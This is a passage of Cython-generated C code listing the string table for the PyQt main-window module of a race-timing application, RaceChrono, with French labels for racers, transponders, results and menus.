__pyx_k_R_EMail, sizeof(__pyx_k_R_EMail), 0, 0, 1, 1}, {&__pyx_n_u_R_EMail, __pyx_k_R_EMail, sizeof(__pyx_k_R_EMail), 0, 1, 0, 1}, {&__pyx_n_u_R_FirstName, __pyx_k_R_FirstName, sizeof(__pyx_k_R_FirstName), 0, 1, 0, 1}, {&__pyx_n_u_R_LastName, __pyx_k_R_LastName, sizeof(__pyx_k_R_LastName), 0, 1, 0, 1}, {&__pyx_n_u_R_Localit, __pyx_k_R_Localit, sizeof(__pyx_k_R_Localit), 0, 1, 0, 1}, {&__pyx_n_s_R_Npa, __pyx_k_R_Npa, sizeof(__pyx_k_R_Npa), 0, 0, 1, 1}, {&__pyx_n_u_R_Npa, __pyx_k_R_Npa, sizeof(__pyx_k_R_Npa), 0, 1, 0, 1}, {&__pyx_n_s_R_Pays, __pyx_k_R_Pays, sizeof(__pyx_k_R_Pays), 0, 0, 1, 1}, {&__pyx_n_u_R_Pays, __pyx_k_R_Pays, sizeof(__pyx_k_R_Pays), 0, 1, 0, 1}, {&__pyx_n_s_R_RaceLive, __pyx_k_R_RaceLive, sizeof(__pyx_k_R_RaceLive), 0, 0, 1, 1}, {&__pyx_n_u_R_RaceLive, __pyx_k_R_RaceLive, sizeof(__pyx_k_R_RaceLive), 0, 1, 0, 1}, {&__pyx_n_s_R_RaceLive_2, __pyx_k_R_RaceLive_2, sizeof(__pyx_k_R_RaceLive_2), 0, 0, 1, 1}, {&__pyx_n_u_R_RaceLive_2, __pyx_k_R_RaceLive_2, sizeof(__pyx_k_R_RaceLive_2), 0, 1, 0, 1}, {&__pyx_n_s_R_Urgence, __pyx_k_R_Urgence, sizeof(__pyx_k_R_Urgence), 0, 0, 1, 1}, {&__pyx_n_u_R_Urgence, __pyx_k_R_Urgence, sizeof(__pyx_k_R_Urgence), 0, 1, 0, 1}, {&__pyx_n_s_R_address, __pyx_k_R_address, sizeof(__pyx_k_R_address), 0, 0, 1, 1}, {&__pyx_n_u_R_address, __pyx_k_R_address, sizeof(__pyx_k_R_address), 0, 1, 0, 1}, {&__pyx_n_s_R_brandMenu, __pyx_k_R_brandMenu, sizeof(__pyx_k_R_brandMenu), 0, 0, 1, 1}, {&__pyx_n_u_R_brandMenu, __pyx_k_R_brandMenu, sizeof(__pyx_k_R_brandMenu), 0, 1, 0, 1}, {&__pyx_n_s_R_date, __pyx_k_R_date, sizeof(__pyx_k_R_date), 0, 0, 1, 1}, {&__pyx_n_u_R_date, __pyx_k_R_date, sizeof(__pyx_k_R_date), 0, 1, 0, 1}, {&__pyx_n_s_R_firstname, __pyx_k_R_firstname, sizeof(__pyx_k_R_firstname), 0, 0, 1, 1}, {&__pyx_n_u_R_firstname, __pyx_k_R_firstname, sizeof(__pyx_k_R_firstname), 0, 1, 0, 1}, {&__pyx_n_s_R_lastname, __pyx_k_R_lastname, sizeof(__pyx_k_R_lastname), 0, 0, 1, 1}, {&__pyx_n_u_R_lastname, __pyx_k_R_lastname, sizeof(__pyx_k_R_lastname), 0, 1, 0, 1}, {&__pyx_n_s_R_licences, __pyx_k_R_licences, sizeof(__pyx_k_R_licences), 0, 0, 1, 1}, {&__pyx_n_u_R_licences, __pyx_k_R_licences, sizeof(__pyx_k_R_licences), 0, 1, 0, 1}, {&__pyx_n_s_R_number, __pyx_k_R_number, sizeof(__pyx_k_R_number), 0, 0, 1, 1}, {&__pyx_n_u_R_number, __pyx_k_R_number, sizeof(__pyx_k_R_number), 0, 1, 0, 1}, {&__pyx_kp_u_R_sultats, __pyx_k_R_sultats, sizeof(__pyx_k_R_sultats), 0, 1, 0, 0}, {&__pyx_n_s_R_telephone, __pyx_k_R_telephone, sizeof(__pyx_k_R_telephone), 0, 0, 1, 1}, {&__pyx_n_u_R_telephone, __pyx_k_R_telephone, sizeof(__pyx_k_R_telephone), 0, 1, 0, 1}, {&__pyx_n_s_R_transponder, __pyx_k_R_transponder, sizeof(__pyx_k_R_transponder), 0, 0, 1, 1}, {&__pyx_n_u_R_transponder, __pyx_k_R_transponder, sizeof(__pyx_k_R_transponder), 0, 1, 0, 1}, {&__pyx_kp_u_RaceChrono_c_Yves_Huguenin_2018, __pyx_k_RaceChrono_c_Yves_Huguenin_2018, sizeof(__pyx_k_RaceChrono_c_Yves_Huguenin_2018), 0, 1, 0, 0}, {&__pyx_n_s_RightToLeft, __pyx_k_RightToLeft, sizeof(__pyx_k_RightToLeft), 0, 0, 1, 1}, {&__pyx_n_u_Rsultats, __pyx_k_Rsultats, sizeof(__pyx_k_Rsultats), 0, 1, 0, 1}, {&__pyx_n_u_STOP, __pyx_k_STOP, sizeof(__pyx_k_STOP), 0, 1, 0, 1}, {&__pyx_kp_u_Sauvegade_des_Rsultats, __pyx_k_Sauvegade_des_Rsultats, sizeof(__pyx_k_Sauvegade_des_Rsultats), 0, 1, 0, 0}, {&__pyx_n_s_ScrollBarAlwaysOff, __pyx_k_ScrollBarAlwaysOff, sizeof(__pyx_k_ScrollBarAlwaysOff), 0, 0, 1, 1}, {&__pyx_n_s_ScrollBarAlwaysOn, __pyx_k_ScrollBarAlwaysOn, sizeof(__pyx_k_ScrollBarAlwaysOn), 0, 0, 1, 1}, {&__pyx_n_s_ScrollPerItem, __pyx_k_ScrollPerItem, sizeof(__pyx_k_ScrollPerItem), 0, 0, 1, 1}, {&__pyx_n_s_SelectItems, __pyx_k_SelectItems, sizeof(__pyx_k_SelectItems), 0, 0, 1, 1}, {&__pyx_n_s_SelectRows, __pyx_k_SelectRows, sizeof(__pyx_k_SelectRows), 0, 0, 1, 1}, {&__pyx_n_s_SetMaximumSize, __pyx_k_SetMaximumSize, sizeof(__pyx_k_SetMaximumSize), 0, 0, 1, 1}, {&__pyx_n_s_SetMinimumSize, __pyx_k_SetMinimumSize, sizeof(__pyx_k_SetMinimumSize), 0, 0, 1, 1}, {&__pyx_n_s_SingleSelection, __pyx_k_SingleSelection, sizeof(__pyx_k_SingleSelection), 0, 0, 1, 1}, {&__pyx_n_u_Sorting, __pyx_k_Sorting, sizeof(__pyx_k_Sorting), 0, 1, 0, 1}, {&__pyx_n_s_SpanningRole, __pyx_k_SpanningRole, sizeof(__pyx_k_SpanningRole), 0, 0, 1, 1}, {&__pyx_n_s_StyledPanel, __pyx_k_StyledPanel, sizeof(__pyx_k_StyledPanel), 0, 0, 1, 1}, {&__pyx_n_s_Sunken, __pyx_k_Sunken, sizeof(__pyx_k_Sunken), 0, 0, 1, 1}, {&__pyx_n_s_Switzerland, __pyx_k_Switzerland, sizeof(__pyx_k_Switzerland), 0, 0, 1, 1}, {&__pyx_n_s_TM_T_passage, __pyx_k_TM_T_passage, sizeof(__pyx_k_TM_T_passage), 0, 0, 1, 1}, {&__pyx_n_u_TM_T_passage, __pyx_k_TM_T_passage, sizeof(__pyx_k_TM_T_passage), 0, 1, 0, 1}, {&__pyx_n_s_T_Category, __pyx_k_T_Category, sizeof(__pyx_k_T_Category), 0, 0, 1, 1}, {&__pyx_n_u_T_Category, __pyx_k_T_Category, sizeof(__pyx_k_T_Category), 0, 1, 0, 1}, {&__pyx_n_s_T_Monitor, __pyx_k_T_Monitor, sizeof(__pyx_k_T_Monitor), 0, 0, 1, 1}, {&__pyx_n_u_T_Monitor, __pyx_k_T_Monitor, sizeof(__pyx_k_T_Monitor), 0, 1, 0, 1}, {&__pyx_n_s_T_Race, __pyx_k_T_Race, sizeof(__pyx_k_T_Race), 0, 0, 1, 1}, {&__pyx_n_u_T_Race, __pyx_k_T_Race, sizeof(__pyx_k_T_Race), 0, 1, 0, 1}, {&__pyx_n_s_T_RaceModel, __pyx_k_T_RaceModel, sizeof(__pyx_k_T_RaceModel), 0, 0, 1, 1}, {&__pyx_n_u_T_RaceModel, __pyx_k_T_RaceModel, sizeof(__pyx_k_T_RaceModel), 0, 1, 0, 1}, {&__pyx_n_s_T_Racer, __pyx_k_T_Racer, sizeof(__pyx_k_T_Racer), 0, 0, 1, 1}, {&__pyx_n_u_T_Racer, __pyx_k_T_Racer, sizeof(__pyx_k_T_Racer), 0, 1, 0, 1}, {&__pyx_n_s_T_Racer_Race, __pyx_k_T_Racer_Race, sizeof(__pyx_k_T_Racer_Race), 0, 0, 1, 1}, {&__pyx_n_u_T_Racer_Race, __pyx_k_T_Racer_Race, sizeof(__pyx_k_T_Racer_Race), 0, 1, 0, 1}, {&__pyx_n_s_T_Results, __pyx_k_T_Results, sizeof(__pyx_k_T_Results), 0, 0, 1, 1}, {&__pyx_n_u_T_Results, __pyx_k_T_Results, sizeof(__pyx_k_T_Results), 0, 1, 0, 1}, {&__pyx_n_s_Tab_Container, __pyx_k_Tab_Container, sizeof(__pyx_k_Tab_Container), 0, 0, 1, 1}, {&__pyx_n_u_Tab_Container, __pyx_k_Tab_Container, sizeof(__pyx_k_Tab_Container), 0, 1, 0, 1}, {&__pyx_n_u_Temps, __pyx_k_Temps, sizeof(__pyx_k_Temps), 0, 1, 0, 1}, {&__pyx_kp_u_TimeCode, __pyx_k_TimeCode, sizeof(__pyx_k_TimeCode), 0, 1, 0, 0}, {&__pyx_kp_u_Tlphones, __pyx_k_Tlphones, sizeof(__pyx_k_Tlphones), 0, 1, 0, 0}, {&__pyx_n_u_Top, __pyx_k_Top, sizeof(__pyx_k_Top), 0, 1, 0, 1}, {&__pyx_n_u_Transpondeur, __pyx_k_Transpondeur, sizeof(__pyx_k_Transpondeur), 0, 1, 0, 1}, {&__pyx_n_s_Ui_MainWindow, __pyx_k_Ui_MainWindow, sizeof(__pyx_k_Ui_MainWindow), 0, 0, 1, 1}, {&__pyx_n_s_Ui_MainWindow_retranslateUi, __pyx_k_Ui_MainWindow_retranslateUi, sizeof(__pyx_k_Ui_MainWindow_retranslateUi), 0, 0, 1, 1}, {&__pyx_n_s_Ui_MainWindow_setupUi, __pyx_k_Ui_MainWindow_setupUi, sizeof(__pyx_k_Ui_MainWindow_setupUi), 0, 0, 1, 1}, {&__pyx_n_s_Unchecked, __pyx_k_Unchecked, sizeof(__pyx_k_Unchecked), 0, 0, 1, 1}, {&__pyx_kp_u_Urgence, __pyx_k_Urgence, sizeof(__pyx_k_Urgence), 0, 1, 0, 0}, {&__pyx_kp_u_Waiting_for_start, __pyx_k_Waiting_for_start, sizeof(__pyx_k_Waiting_for_start), 0, 1, 0, 0}, {&__pyx_kp_u__140, __pyx_k__140, sizeof(__pyx_k__140), 0, 1, 0, 0}, {&__pyx_kp_u__145, __pyx_k__145, sizeof(__pyx_k__145), 0, 1, 0, 0}, {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, {&__pyx_n_s_actionEnregister, __pyx_k_actionEnregister, sizeof(__pyx_k_actionEnregister), 0, 0, 1, 1}, {&__pyx_n_u_actionEnregister, __pyx_k_actionEnregister, sizeof(__pyx_k_actionEnregister), 0, 1, 0, 1}, {&__pyx_n_s_actionEnregistrer_Sous, __pyx_k_actionEnregistrer_Sous, sizeof(__pyx_k_actionEnregistrer_Sous), 0, 0, 1, 1}, {&__pyx_n_u_actionEnregistrer_Sous, __pyx_k_actionEnregistrer_Sous, sizeof(__pyx_k_actionEnregistrer_Sous), 0, 1, 0, 1}, {&__pyx_n_s_actionNouvelle_Course, __pyx_k_actionNouvelle_Course, sizeof(__pyx_k_actionNouvelle_Course), 0, 0, 1, 1}, {&__pyx_n_u_actionNouvelle_Course, __pyx_k_actionNouvelle_Course, sizeof(__pyx_k_actionNouvelle_Course), 0, 1, 0, 1}, {&__pyx_n_s_actionOuvrire, __pyx_k_actionOuvrire, sizeof(__pyx_k_actionOuvrire), 0, 0, 1, 1}, {&__pyx_n_u_actionOuvrire, __pyx_k_actionOuvrire, sizeof(__pyx_k_actionOuvrire), 0, 1, 0, 1}, {&__pyx_n_s_actionQuitter, __pyx_k_actionQuitter, sizeof(__pyx_k_actionQuitter), 0, 0, 1, 1}, {&__pyx_n_u_actionQuitter, __pyx_k_actionQuitter, sizeof(__pyx_k_actionQuitter), 0, 1, 0, 1}, {&__pyx_n_s_addAction, __pyx_k_addAction, sizeof(__pyx_k_addAction), 0, 0, 1, 1}, {&__pyx_n_s_addItem, __pyx_k_addItem, sizeof(__pyx_k_addItem), 0, 0, 1, 1}, {&__pyx_n_s_addLayout, __pyx_k_addLayout, sizeof(__pyx_k_addLayout), 0, 0, 1, 1}, {&__pyx_n_s_addSeparator, __pyx_k_addSeparator, sizeof(__pyx_k_addSeparator), 0, 0, 1, 1}, {&__pyx_n_s_addTab, __pyx_k_addTab, sizeof(__pyx_k_addTab), 0, 0, 1, 1}, {&__pyx_n_s_addWidget, __pyx_k_addWidget, sizeof(__pyx_k_addWidget), 0, 0, 1, 1}, {&__pyx_n_s_centralwidget, __pyx_k_centralwidget, sizeof(__pyx_k_centralwidget), 0, 0, 1, 1}, {&__pyx_n_u_centralwidget, __pyx_k_centralwidget, sizeof(__pyx_k_centralwidget), 0, 1, 0, 1}, {&__pyx_n_s_child, __pyx_k_child, sizeof(__pyx_k_child), 0, 0, 1, 1}, {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1}, {&__pyx_n_s_connectSlotsByName, __pyx_k_connectSlotsByName, sizeof(__pyx_k_connectSlotsByName), 0, 0, 1, 1}, {&__pyx_n_s_currentChanged, __pyx_k_currentChanged, sizeof(__pyx_k_currentChanged), 0, 0, 1, 1}, {&__pyx_kp_u_dd_MMMM_yyyy, __pyx_k_dd_MMMM_yyyy, sizeof(__pyx_k_dd_MMMM_yyyy), 0, 1, 0, 0}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_findNumber, __pyx_k_findNumber, sizeof(__pyx_k_findNumber), 0, 0, 1, 1}, {&__pyx_n_u_findNumber, __pyx_k_findNumber, sizeof(__pyx_k_findNumber), 0, 1, 0, 1}, {&__pyx_n_s_font, __pyx_k_font, sizeof(__pyx_k_font), 0, 0, 1, 1}, {&__pyx_kp_u_font_10pt_Bitstream_Charter, __pyx_k_font_10pt_Bitstream_Charter, sizeof(__pyx_k_font_10pt_Bitstream_Charter), 0, 1, 0, 0}, {&__pyx_n_s_formLayout, __pyx_k_formLayout, sizeof(__pyx_k_formLayout), 0, 0, 1, 1}, {&__pyx_n_u_formLayout, __pyx_k_formLayout, sizeof(__pyx_k_formLayout), 0, 1, 0, 1}, {&__pyx_n_s_formLayoutWidget, __pyx_k_formLayoutWidget, sizeof(__pyx_k_formLayoutWidget), 0, 0, 1, 1}, {&__pyx_n_u_formLayoutWidget, __pyx_k_formLayoutWidget, sizeof(__pyx_k_formLayoutWidget), 0, 1, 0, 1}, {&__pyx_n_s_formLayoutWidget_3, __pyx_k_formLayoutWidget_3, sizeof(__pyx_k_formLayoutWidget_3), 0, 0, 1, 1}, {&__pyx_n_u_formLayoutWidget_3, __pyx_k_formLayoutWidget_3, sizeof(__pyx_k_formLayoutWidget_3), 0, 1, 0, 1}, {&__pyx_n_s_formLayout_3, __pyx_k_formLayout_3, sizeof(__pyx_k_formLayout_3), 0, 0, 1, 1}, {&__pyx_n_u_formLayout_3, __pyx_k_formLayout_3, sizeof(__pyx_k_formLayout_3), 0, 1, 0, 1}, {&__pyx_n_s_gridLayout, __pyx_k_gridLayout, sizeof(__pyx_k_gridLayout), 0, 0, 1, 1}, {&__pyx_n_u_gridLayout, __pyx_k_gridLayout, sizeof(__pyx_k_gridLayout), 0, 1, 0, 1}, {&__pyx_n_s_gridLayoutWidget, __pyx_k_gridLayoutWidget, sizeof(__pyx_k_gridLayoutWidget), 0, 0, 1, 1}, {&__pyx_n_u_gridLayoutWidget, __pyx_k_gridLayoutWidget, sizeof(__pyx_k_gridLayoutWidget), 0, 1, 0, 1}, {&__pyx_n_s_gridLayoutWidget_3, __pyx_k_gridLayoutWidget_3, sizeof(__pyx_k_gridLayoutWidget_3), 0, 0, 1, 1}, {&__pyx_n_u_gridLayoutWidget_3, __pyx_k_gridLayoutWidget_3, sizeof(__pyx_k_gridLayoutWidget_3), 0, 1, 0, 1}, {&__pyx_n_s_gridLayout_3, __pyx_k_gridLayout_3, sizeof(__pyx_k_gridLayout_3), 0, 0, 1, 1}, {&__pyx_n_u_gridLayout_3, __pyx_k_gridLayout_3, sizeof(__pyx_k_gridLayout_3), 0, 1, 0, 1}, {&__pyx_n_s_hasHeightForWidth, __pyx_k_hasHeightForWidth, sizeof(__pyx_k_hasHeightForWidth), 0, 0, 1, 1}, {&__pyx_n_s_headerItem, __pyx_k_headerItem, sizeof(__pyx_k_headerItem), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_horizontalHeader, __pyx_k_horizontalHeader, sizeof(__pyx_k_horizontalHeader), 0, 0, 1, 1}, {&__pyx_n_s_horizontalHeaderItem, __pyx_k_horizontalHeaderItem, sizeof(__pyx_k_horizontalHeaderItem), 0, 0, 1, 1}, {&__pyx_n_s_horizontalLayout, __pyx_k_horizontalLayout, sizeof(__pyx_k_horizontalLayout), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout, __pyx_k_horizontalLayout, sizeof(__pyx_k_horizontalLayout), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_2, __pyx_k_horizontalLayout_2, sizeof(__pyx_k_horizontalLayout_2), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_2, __pyx_k_horizontalLayout_2, sizeof(__pyx_k_horizontalLayout_2), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_3, __pyx_k_horizontalLayout_3, sizeof(__pyx_k_horizontalLayout_3), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_3, __pyx_k_horizontalLayout_3, sizeof(__pyx_k_horizontalLayout_3), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_4, __pyx_k_horizontalLayout_4, sizeof(__pyx_k_horizontalLayout_4), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_4, __pyx_k_horizontalLayout_4, sizeof(__pyx_k_horizontalLayout_4), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_5, __pyx_k_horizontalLayout_5, sizeof(__pyx_k_horizontalLayout_5), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_5, __pyx_k_horizontalLayout_5, sizeof(__pyx_k_horizontalLayout_5), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_7, __pyx_k_horizontalLayout_7, sizeof(__pyx_k_horizontalLayout_7), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_7, __pyx_k_horizontalLayout_7, sizeof(__pyx_k_horizontalLayout_7), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_8, __pyx_k_horizontalLayout_8, sizeof(__pyx_k_horizontalLayout_8), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_8, __pyx_k_horizontalLayout_8, sizeof(__pyx_k_horizontalLayout_8), 0, 1, 0, 1}, {&__pyx_n_s_horizontalLayout_9, __pyx_k_horizontalLayout_9, sizeof(__pyx_k_horizontalLayout_9), 0, 0, 1, 1}, {&__pyx_n_u_horizontalLayout_9, __pyx_k_horizontalLayout_9, sizeof(__pyx_k_horizontalLayout_9), 0, 1, 0, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_indexOf, __pyx_k_indexOf, sizeof(__pyx_k_indexOf), 0, 0, 1, 1}, {&__pyx_n_u_inputMask, __pyx_k_inputMask, sizeof(__pyx_k_inputMask), 0, 1, 0, 1}, {&__pyx_n_u_int, __pyx_k_int, sizeof(__pyx_k_int), 0, 1, 0, 1}, {&__pyx_n_s_isSortingEnabled, __pyx_k_isSortingEnabled, sizeof(__pyx_k_isSortingEnabled), 0, 0, 1, 1}, {&__pyx_n_u_isWrapping, __pyx_k_isWrapping, sizeof(__pyx_k_isWrapping), 0, 1, 0, 1}, {&__pyx_n_s_item, __pyx_k_item, sizeof(__pyx_k_item), 0, 0, 1, 1}, {&__pyx_n_s_item_0, __pyx_k_item_0, sizeof(__pyx_k_item_0), 0, 0, 1, 1}, {&__pyx_n_s_item_1, __pyx_k_item_1, sizeof(__pyx_k_item_1), 0, 0, 1, 1}, {&__pyx_n_s_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 0, 1, 1}, {&__pyx_n_u_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 1, 0, 1}, {&__pyx_n_s_label_10, __pyx_k_label_10, sizeof(__pyx_k_label_10), 0, 0, 1, 1}, {&__pyx_n_u_label_10, __pyx_k_label_10, sizeof(__pyx_k_label_10), 0, 1, 0, 1}, {&__pyx_n_s_label_11, __pyx_k_label_11, sizeof(__pyx_k_label_11), 0, 0, 1, 1}, {&__pyx_n_u_label_11, __pyx_k_label_11, sizeof(__pyx_k_label_11), 0, 1, 0, 1}, {&__pyx_n_s_label_12, __pyx_k_label_12, sizeof(__pyx_k_label_12), 0, 0, 1, 1}, {&__pyx_n_u_label_12, __pyx_k_label_12, sizeof(__pyx_k_label_12), 0, 1, 0, 1}, {&__pyx_n_s_label_13, __pyx_k_label_13, sizeof(__pyx_k_label_13), 0, 0, 1, 1}, {&__pyx_n_u_label_13, __pyx_k_label_13, sizeof(__pyx_k_label_13), 0, 1, 0, 1}, {&__pyx_n_s_label_14, __pyx_k_label_14, sizeof(__pyx_k_label_14), 0, 0, 1, 1}, {&__pyx_n_u_label_14, __pyx_k_label_14, sizeof(__pyx_k_label_14), 0, 1, 0, 1}, {&__pyx_n_s_label_15, __pyx_k_label_15, sizeof(__pyx_k_label_15), 0, 0, 1, 1}, {&__pyx_n_u_label_15, __pyx_k_label_15, sizeof(__pyx_k_label_15), 0, 1, 0, 1}, {&__pyx_n_s_label_16, __pyx_k_label_16, sizeof(__pyx_k_label_16), 0, 0, 1, 1}, {&__pyx_n_u_label_16, __pyx_k_label_16, sizeof(__pyx_k_label_16), 0, 1, 0, 1}, {&__pyx_n_s_label_17, __pyx_k_label_17, sizeof(__pyx_k_label_17), 0, 0, 1, 1}, {&__pyx_n_u_label_17, __pyx_k_label_17, sizeof(__pyx_k_label_17), 0, 1, 0, 1}, {&__pyx_n_s_label_2, __pyx_k_label_2, sizeof(__pyx_k_label_2), 0, 0, 1, 1}, {&__pyx_n_u_label_2, __pyx_k_label_2, sizeof(__pyx_k_label_2), 0, 1, 0, 1}, {&__pyx_n_s_label_3, __pyx_k_label_3, sizeof(__pyx_k_label_3), 0, 0, 1, 1}, {&__pyx_n_u_label_3, __pyx_k_label_3, sizeof(__pyx_k_label_3), 0, 1, 0, 1}, {&__pyx_n_s_label_33, __pyx_k_label_33, sizeof(__pyx_k_label_33), 0, 0, 1, 1}, {&__pyx_n_u_label_33, __pyx_k_label_33, sizeof(__pyx_k_label_33), 0, 1, 0, 1}, {&__pyx_n_s_label_34, __pyx_k_label_34, sizeof(__pyx_k_label_34), 0, 0, 1, 1}, {&__pyx_n_u_label_34, __pyx_k_label_34, sizeof(__pyx_k_label_34), 0, 1, 0, 1}, {&__pyx_n_s_label_35, __pyx_k_label_35, sizeof(__pyx_k_label_35), 0, 0, 1, 1}, {&__pyx_n_u_label_35, __pyx_k_label_35, sizeof(__pyx_k_label_35), 0, 1, 0, 1}, {&__pyx_n_s_label_37, __pyx_k_label_37, sizeof(__pyx_k_label_37), 0, 0, 1, 1}, {&__pyx_n_u_label_37, __pyx_k_label_37, sizeof(__pyx_k_label_37), 0, 1, 0, 1}, {&__pyx_n_s_label_38, __pyx_k_label_38, sizeof(__pyx_k_label_38), 0, 0, 1, 1}, {&__pyx_n_u_label_38, __pyx_k_label_38, sizeof(__pyx_k_label_38), 0, 1, 0, 1}, {&__pyx_n_s_label_39, __pyx_k_label_39, sizeof(__pyx_k_label_39), 0, 0, 1, 1}, {&__pyx_n_u_label_39, __pyx_k_label_39, sizeof(__pyx_k_label_39), 0, 1, 0, 1}, {&__pyx_n_s_label_4, __pyx_k_label_4, sizeof(__pyx_k_label_4), 0, 0, 1, 1}, {&__pyx_n_u_label_4, __pyx_k_label_4, sizeof(__pyx_k_label_4), 0, 1, 0, 1}, {&__pyx_n_s_label_45, __pyx_k_label_45, sizeof(__pyx_k_label_45), 0, 0, 1, 1}, {&__pyx_n_u_label_45, __pyx_k_label_45, sizeof(__pyx_k_label_45), 0, 1, 0, 1}, {&__pyx_n_s_label_46, __pyx_k_label_46, sizeof(__pyx_k_label_46), 0, 0, 1, 1}, {&__pyx_n_u_label_46, __pyx_k_label_46, sizeof(__pyx_k_label_46), 0, 1, 0, 1}, {&__pyx_n_s_label_47, __pyx_k_label_47, sizeof(__pyx_k_label_47), 0, 0, 1, 1}, {&__pyx_n_u_label_47, __pyx_k_label_47, sizeof(__pyx_k_label_47), 0, 1, 0, 1}, {&__pyx_n_s_label_48, __pyx_k_label_48, sizeof(__pyx_k_label_48), 0, 0, 1, 1}, {&__pyx_n_u_label_48, __pyx_k_label_48, sizeof(__pyx_k_label_48), 0, 1, 0, 1}, {&__pyx_n_s_label_6, __pyx_k_label_6, sizeof(__pyx_k_label_6), 0, 0, 1, 1}, {&__pyx_n_u_label_6, __pyx_k_label_6, sizeof(__pyx_k_label_6), 0, 1, 0, 1}, {&__pyx_n_s_label_7, __pyx_k_label_7, sizeof(__pyx_k_label_7), 0, 0, 1, 1}, {&__pyx_n_u_label_7, __pyx_k_label_7, sizeof(__pyx_k_label_7), 0, 1, 0, 1}, {&__pyx_n_s_label_8, __pyx_k_label_8, sizeof(__pyx_k_label_8), 0, 0, 1, 1}, {&__pyx_n_u_label_8, __pyx_k_label_8, sizeof(__pyx_k_label_8), 0, 1, 0, 1}, {&__pyx_n_s_layout, __pyx_k_layout, sizeof(__pyx_k_layout), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_menuAction, __pyx_k_menuAction, sizeof(__pyx_k_menuAction), 0, 0, 1, 1}, {&__pyx_n_s_menuConcurrents, __pyx_k_menuConcurrents, sizeof(__pyx_k_menuConcurrents), 0, 0, 1, 1}, {&__pyx_n_u_menuConcurrents, __pyx_k_menuConcurrents, sizeof(__pyx_k_menuConcurrents), 0, 1, 0, 1}, {&__pyx_n_s_menuCourses, __pyx_k_menuCourses, sizeof(__pyx_k_menuCourses), 0, 0, 1, 1}, {&__pyx_n_u_menuCourses, __pyx_k_menuCourses, sizeof(__pyx_k_menuCourses), 0, 1, 0, 1}, {&__pyx_n_s_menuFfff, __pyx_k_menuFfff, sizeof(__pyx_k_menuFfff), 0, 0, 1, 1}, {&__pyx_n_u_menuFfff, __pyx_k_menuFfff, sizeof(__pyx_k_menuFfff), 0, 1, 0, 1}, {&__pyx_n_s_menuR_sultats, __pyx_k_menuR_sultats, sizeof(__pyx_k_menuR_sultats), 0, 0, 1, 1}, {&__pyx_n_u_menuR_sultats, __pyx_k_menuR_sultats, sizeof(__pyx_k_menuR_sultats), 0, 1, 0, 1}, {&__pyx_n_s_menubar, __pyx_k_menubar, sizeof(__pyx_k_menubar), 0, 0, 1, 1}, {&__pyx_n_u_menubar, __pyx_k_menubar, sizeof(__pyx_k_menubar), 0, 1, 0, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_s_object, __pyx_k_object, sizeof(__pyx_k_object), 0, 0, 1, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_released, __pyx_k_released, sizeof(__pyx_k_released), 0, 0, 1, 1}, {&__pyx_n_s_resize, __pyx_k_resize, sizeof(__pyx_k_resize), 0, 0, 1, 1}, {&__pyx_n_s_retranslateUi, __pyx_k_retranslateUi, sizeof(__pyx_k_retranslateUi), 0, 0, 1, 1}, {&__pyx_n_s_scrollArea, __pyx_k_scrollArea, sizeof(__pyx_k_scrollArea), 0, 0, 1, 1}, {&__pyx_n_u_scrollArea, __pyx_k_scrollArea, sizeof(__pyx_k_scrollArea), 0, 1, 0, 1}, {&__pyx_n_s_scrollAreaWidgetContents, __pyx_k_scrollAreaWidgetContents, sizeof(__pyx_k_scrollAreaWidgetContents), 0, 0, 1, 1}, {&__pyx_n_u_scrollAreaWidgetContents, __pyx_k_scrollAreaWidgetContents, sizeof(__pyx_k_scrollAreaWidgetContents), 0, 1, 0, 1}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_setAcceptDrops, __pyx_k_setAcceptDrops, sizeof(__pyx_k_setAcceptDrops), 0, 0, 1, 1}, {&__pyx_n_s_setAcceptRichText, __pyx_k_setAcceptRichText, sizeof(__pyx_k_setAcceptRichText), 0, 0, 1, 1}, {&__pyx_n_s_setAccessibleDescription, __pyx_k_setAccessibleDescription, sizeof(__pyx_k_setAccessibleDescription), 0, 0, 1, 1}, {&__pyx_n_s_setAccessibleName, __pyx_k_setAccessibleName, sizeof(__pyx_k_setAccessibleName), 0, 0, 1, 1}, {&__pyx_n_s_setAlternatingRowColors, __pyx_k_setAlternatingRowColors, sizeof(__pyx_k_setAlternatingRowColors), 0, 0, 1, 1}, {&__pyx_n_s_setAutoFillBackground, __pyx_k_setAutoFillBackground, sizeof(__pyx_k_setAutoFillBackground), 0, 0, 1, 1}, 